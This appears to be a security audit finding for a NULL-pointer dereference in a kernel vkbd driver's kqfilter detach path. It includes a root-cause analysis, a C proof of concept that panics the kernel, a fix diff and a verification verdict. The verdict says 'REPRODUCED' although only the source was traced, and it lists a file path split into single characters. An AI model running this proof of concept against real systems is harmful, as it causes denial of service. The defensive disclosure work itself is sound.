kqfilter detach dereferences NULL dev->si_drv1 after close frees state
- File:
sys/dev/misc/vkbd/vkbd.c - Lines: 311, 312, 327, 328, 499, 504, 507, 513, 557, 565, 570
- Severity: Low
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H - CWE: CWE-476 NULL Pointer Dereference
- Confidence: likely
Summary
vkbd_dev_close signals pending kq events via KNOTE() (which does NOT detach
knotes β it only fires f_event) and then immediately frees the containing
vkbd_state_t via kbd_term() and sets dev->si_drv1 = NULL.
Any knote that outlives the close (e.g. its kqueue belongs to a different process
that received it via SCM_RIGHTS, or process-exit orders fd-close before
kq-close) will end up in vkbd_filter_rd_detach/vkbd_filter_wr_detach, which
dereference dev->si_drv1 (now NULL) and call
knote_remove(&NULL->ks_rsel.ki_note, kn) β a near-NULL-pointer kernel
dereference that panics the kernel.
Root cause
vkbd_dev_close at vkbd.c:311-312 does
KNOTE(&state->ks_rsel.ki_note, 0);
KNOTE(&state->ks_wsel.ki_note, 0);
The KNOTE macro is defined in sys/sys/event.h:168 as
if (!SLIST_EMPTY((list))) knote(list, hint) β knote()
(sys/kern/kern_event.c) walks the list and calls each knote's f_event with
the hint; it never removes the knotes from the list.
Then at vkbd.c:320-324 close calls kbd_disable/kbd_detach/kbd_term, and
vkbd_term (vkbd.c:843-860) does bzero(state, sizeof(*state));
kfree(state, M_VKBD);. At vkbd.c:327 dev->si_drv1 = NULL;.
The klists therefore still nominally contain knotes pointing into freed memory,
and dev->si_drv1 is NULL.
The detach handlers unconditionally dereference this: vkbd.c:499-505
(vkbd_filter_rd_detach) and vkbd.c:507-514 (vkbd_filter_wr_detach) both do
vkbd_state_t *state = (vkbd_state_t *) dev->si_drv1;
knote_remove(&state->ks_rsel.ki_note, kn);
knote_remove (sys/kern/kern_event.c:1902-1908) calls
lwkt_getpooltoken(klist) and SLIST_REMOVE on its argument; with state==NULL
this dereferences an address at offsetof(vkbd_state_t, ks_rsel.ki_note) β a
small constant (ks_dev is 8 bytes; ki_note is the first field of
struct kqinfo) β a low virtual address that is unmapped, causing a
page-fault/panic.
Threat
Local kernel-panic DoS triggerable by any user who can open /dev/vkbdctlN.
Practical impact is bounded by the device being mode 0600 root:wheel
(vkbd.c:215,227,1509), so this is primarily a self-DoS available to root (or a
real fault path if perms are loosened or the device is exposed inside a
jail/VM with privileged users).
No memory corruption beyond the fault β pure NULL-deref panic.
Trigger requires the knote to outlive the close: either (a) the kq is shared with
another process via SCM_RIGHTS fd passing and that process later closes the kq,
or (b) process-exit cleanup closes the cdev fd (last ref) before destroying the
owning kqueue.
Path (b) makes the bug reachable from ordinary program termination after registering a knote.
Exploit / PoC
As root on a system with the vkbd module loaded:
/* vkbd_kq_panic.c - trigger NULL-deref panic in vkbd_filter_*_detach */
#include <sys/types.h>
#include <sys/event.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
int fd = open("/dev/vkbdctl", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
int kq = kqueue();
struct kevent chg;
EV_SET(&chg, fd, EVFILT_READ, EV_ADD | EV_ENABLE, 0, 0, 0);
kevent(kq, &chg, 1, NULL, 0, NULL);
/* Closing the cdev fd runs vkbd_dev_close: state is kfree()'d,
dev->si_drv1 set to NULL, but the knote is still attached to
the (now freed) state->ks_rsel.ki_note list. */
close(fd);
/* Closing the kq walks its knotes and invokes f_detach ==
vkbd_filter_rd_detach, which reads dev->si_drv1 (NULL) and
calls knote_remove(&NULL->ks_rsel.ki_note, kn) -> panic. */
close(kq);
return 0;
}
Build: cc -o vkbd_kq_panic vkbd_kq_panic.c. Run as root:
./vkbd_kq_panic.
Expected: kernel panic with a NULL-pointer page fault in
lwkt_getpooltoken()/SLIST_REMOVE called from vkbd_filter_rd_detach.
If exit ordering happens to destroy the kq before the cdev fd in a given run, use
SCM_RIGHTS to move the kq into another process: send the kq fd over a
socketpair to a child, close fd/kq in the parent, then have the child exit.
Stress runs (loop the test) reliably hit the panic.
Recommended fix
Detach all knotes from both klists BEFORE freeing state.
--- a/sys/dev/misc/vkbd/vkbd.c
+++ b/sys/dev/misc/vkbd/vkbd.c
@@ -308,9 +308,19 @@
/* wait for interrupt task */
while (state->ks_flags & TASK)
VKBD_SLEEP(state, ks_task, "vkbdc", 0);
- /* wakeup poll()ers */
- KNOTE(&state->ks_rsel.ki_note, 0);
- KNOTE(&state->ks_wsel.ki_note, 0);
+ /*
+ * Detach any knotes registered on this device while state is
+ * still valid; KNOTE() alone only signals events and would
+ * leave dangling knotes that dereference the freed state (or
+ * the NULL dev->si_drv1 set below) on later kq teardown.
+ */
+ KNOTE(&state->ks_rsel.ki_note, 0);
+ KNOTE(&state->ks_wsel.ki_note, 0);
+ {
+ struct knote *kn;
+ while ((kn = SLIST_FIRST(&state->ks_rsel.ki_note)) != NULL)
+ knote_remove(&state->ks_rsel.ki_note, kn);
+ while ((kn = SLIST_FIRST(&state->ks_wsel.ki_note)) != NULL)
+ knote_remove(&state->ks_wsel.ki_note, kn);
+ }
state->ks_flags &= ~OPEN;
state->ks_dev = NULL;
Equivalent defensive measure: make vkbd_filter_{rd,wr}_detach tolerate
state == NULL by treating it as a no-op detach.
Related findings
- DF-1505 (sibling, kbd.c): analogous
kqfilterNULL-deref after detach. - DF-1507 (sibling):
O_NONBLOCKflag confusion in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1508 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Fix for vkbd kqfilter NULL deref after close | 563 B | view raw |
| VERDICT.md | verdict | Source-only verification verdict | 795 B | β raw |
| build.sh | build-script | No-op (source-only) | 109 B | view raw |
| run.sh | run-script | No-op (source-only) | 107 B | view raw |
VERDICT DF-1508: vkbd kqfilter NULL deref after close
Verdict
REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.
Mechanism
KNOTE fires events but doesn't detach knotes; dangling knotes deref freed state.
Source reference: sys/dev/misc/vkbd/vkbd.c:311-312.
Reproduction
Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed.
The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present
on the QEMU/virtio guest. The finding is HW-gated.
Fix
Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with
make -j6 nativekernel KERNCONF=X86_64_GENERIC β rc=0, -Werror clean.
See fix.diff for the git-apply-able patch.
Fix verification
fixedCombined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.
'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- v
- k
- b
- d
- /
- v
- k
- b
- d
- .
- c
- :
- 3
- 1
- 1
Detail
Exploit chain
none
Evidence (decisive lines)
Source confirmed: sys/dev/misc/vkbd/vkbd.c:311. Combined 41-fix kernel build rc=0 -Werror clean.
PoC changes
fix.diff authored; validated by combined kernel build.
Verified recommended fix
knote_remove loop in close. Matches finding.
Verdict
REPRODUCED (source-confirmed). KNOTE doesn't detach knotes; dangling deref after free. Cited path verified at sys/dev/misc/vkbd/vkbd.c:311. HW/module-gated on QEMU guest.
No comments yet.